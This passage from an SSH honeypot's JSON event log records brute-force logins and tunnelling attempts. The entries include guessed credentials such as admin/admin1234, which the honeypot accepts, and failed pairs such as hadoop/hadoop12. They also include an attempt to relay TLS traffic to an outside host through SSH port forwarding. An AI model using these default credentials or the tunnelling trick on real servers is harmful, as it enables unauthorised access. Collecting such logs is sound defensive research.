16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:10.623558Z","src_ip":"91.92.40.36","session":"a07fa8aaa06c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"request","message":"login attempt [admin/request] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:11.930535Z","src_ip":"91.92.40.36","session":"a07fa8aaa06c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:13.158447Z","src_ip":"91.92.40.36","session":"a07fa8aaa06c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:15.803991Z","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:15.825525Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(0\\x9d\\x07\\xea,\\xb7\\xe4\\xeb\\xaa\\xc9\\x1fg\\x00>]|\\x8a\\xf7\\xdb\\x9c\\xff\\xf7\\xa6.j#\\xd6Jx\\x88\\xe0 \\xde\"5\\xdaT^0\\xe2\\xe7k\\xce\\xf8g\\x10\\xea\\xbc\\x8a\\xbc\\x9b3\\xb4\\xea\\xba\\x9c\\xf7\\xa5n0<\\xb1\\x1e\\xf2\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2\\xdf\\xb4w\\xd7e)x\\xaa\\xf9/\\xe4\\xd3@G`\\x88P,\\xa6\\xbc\\xf8\\xc0\\xe0\\x85\\xc8\\xe0\\xf7\\xc8\\xd4\\xb0T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(0\\x9d\\x07\\xea,\\xb7\\xe4\\xeb\\xaa\\xc9\\x1fg\\x00>]|\\x8a\\xf7\\xdb\\x9c\\xff\\xf7\\xa6.j#\\xd6Jx\\x88\\xe0 \\xde\"5\\xdaT^0\\xe2\\xe7k\\xce\\xf8g\\x10\\xea\\xbc\\x8a\\xbc\\x9b3\\xb4\\xea\\xba\\x9c\\xf7\\xa5n0<\\xb1\\x1e\\xf2\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2\\xdf\\xb4w\\xd7e)x\\xaa\\xf9/\\xe4\\xd3@G`\\x88P,\\xa6\\xbc\\xf8\\xc0\\xe0\\x85\\xc8\\xe0\\xf7\\xc8\\xd4\\xb0T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:15.828642Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:15.960367Z","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:15.972762Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\x078\\xfe\\x08!\\xf7\\xc8\\x8c\\xc3\\xa7\\x18\\x83\\x91\\xfe\\xa1*\\x08\\xa0\\x89\\xf5\\x10\\x0b\\xc3\\xdd\\xcb2\\x9d\\x94_\\xa7\\xdc \\x08O\\x02)\"K8\\xa6n\\xce\\xca\\ny\\x80,\\xfaB\\xfcX\\xfaklD\\x96\\xf4n\\xda\\x8eo}\\xef\\xf4\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x16\\xa4\\xa3\\xb3o\\xb6\\xd5m\\x04\\xe4^d9\\x7f\\xea\\x058!@\\xa4\\xb44a\\x00\\x86\\xe6\\xae\\xaa\\xf6 \\x8cb\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\x078\\xfe\\x08!\\xf7\\xc8\\x8c\\xc3\\xa7\\x18\\x83\\x91\\xfe\\xa1*\\x08\\xa0\\x89\\xf5\\x10\\x0b\\xc3\\xdd\\xcb2\\x9d\\x94_\\xa7\\xdc \\x08O\\x02)\"K8\\xa6n\\xce\\xca\\ny\\x80,\\xfaB\\xfcX\\xfaklD\\x96\\xf4n\\xda\\x8eo}\\xef\\xf4\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x16\\xa4\\xa3\\xb3o\\xb6\\xd5m\\x04\\xe4^d9\\x7f\\xea\\x058!@\\xa4\\xb44a\\x00\\x86\\xe6\\xae\\xaa\\xf6 \\x8cb\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:15.975640Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27536,"dst_ip":"159.203.135.109","dst_port":22,"session":"cefd6abceb88","protocol":"ssh","message":"New connection: 91.92.40.36:27536 (159.203.135.109:22) [session: cefd6abceb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:17.634252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:18.044031Z","src_ip":"91.92.40.36","session":"cefd6abceb88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:18.049068Z","src_ip":"91.92.40.36","session":"cefd6abceb88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":49701,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd5491d74f72","protocol":"ssh","message":"New connection: 63.141.242.2:49701 (10.17.0.5:22) [session: dd5491d74f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:19.836860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:19.840982Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:19.901825Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop12","message":"login attempt [hadoop/hadoop12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:20.425084Z","src_ip":"91.92.40.36","session":"cefd6abceb88","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:21.640692Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:21.735832Z","src_ip":"91.92.40.36","session":"cefd6abceb88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49789,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa7bf6bd94b","protocol":"ssh","message":"New connection: 123.27.168.40:49789 (10.17.0.5:22) [session: 4fa7bf6bd94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:24.267194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:24.271820Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:24.507911Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27612,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6a6ea4451fe","protocol":"ssh","message":"New connection: 91.92.40.36:27612 (159.203.135.109:22) [session: a6a6ea4451fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:25.374753Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:25.586893Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:25.768860Z","src_ip":"91.92.40.36","session":"a6a6ea4451fe","protocol":"ssh"}
